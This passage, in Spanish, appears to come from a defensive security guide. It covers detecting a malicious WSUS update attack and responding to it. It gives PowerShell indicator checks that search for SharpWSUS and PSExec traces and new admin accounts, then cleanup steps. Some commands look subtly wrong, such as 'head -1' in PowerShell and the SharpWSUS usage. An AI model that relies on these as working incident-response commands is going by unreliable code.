[ ] Auditar y limitar cuentas con acceso de Domain Admin

Caso práctico: Detectar ataque WSUS

Escenario: Atacante crea actualización maliciosa via WSUS

Indicadores de compromiso (IoCs):

powershell
# 1. Evento de actualización no autorizada
Get-WinEvent -LogName System | Where-Object { $_.ProviderName -like "*Update*" } | Select-Object TimeCreated,Message

# 2. Cambio en permisos de WSUS
Get-EventLog -LogName Security -InstanceId 4688 | findstr "SharpWSUS"

# 3. Conexión anómala al puerto 8530 (WSUS)
netstat -ano | findstr ":8530"

# 4. Archivo PSExec descargado en sistema
Get-ChildItem -Path C:\ -Name "PSExec*" -Recurse

# 5. Creación de usuario administrativo
Get-EventLog -LogName Security -InstanceId 4720 | Select-Object TimeGenerated,Message

Respuesta:

powershell
# 1. Identificar máquina comprometida
$eventid4720 = Get-EventLog -LogName Security -InstanceId 4720 | head -1
$newUser = $eventid4720.Message | Select-String "NewAccountName"

# 2. Aislar sistema inmediatamente
# (Desconectar del switch, bloquear en firewall)

# 3. Eliminar usuario malicioso
Remove-LocalUser -Name $newUser

# 4. Auditar WSUS por actualizaciones sospechosas
# (En servidor WSUS)
.\SharpWSUS.exe inspect | findstr "suspicious"

# 5. Eliminar actualizaciones maliciosas
.\SharpWSUS.exe delete /updateid:xxx

Conclusión

Defensa contra lateral movement = Detection + Prevention

Detection te dice cuándo está pasando un ataque. Prevention hace que sea más difícil que ocurra.

Juntos, reducen significativamente el riesgo de que un atacante se mueva libremente por tu red.

Recuerda: No es "si" un atacante entra, sino "cuándo". La defensa en profundidad (múltiples capas) es tu mejor aliado.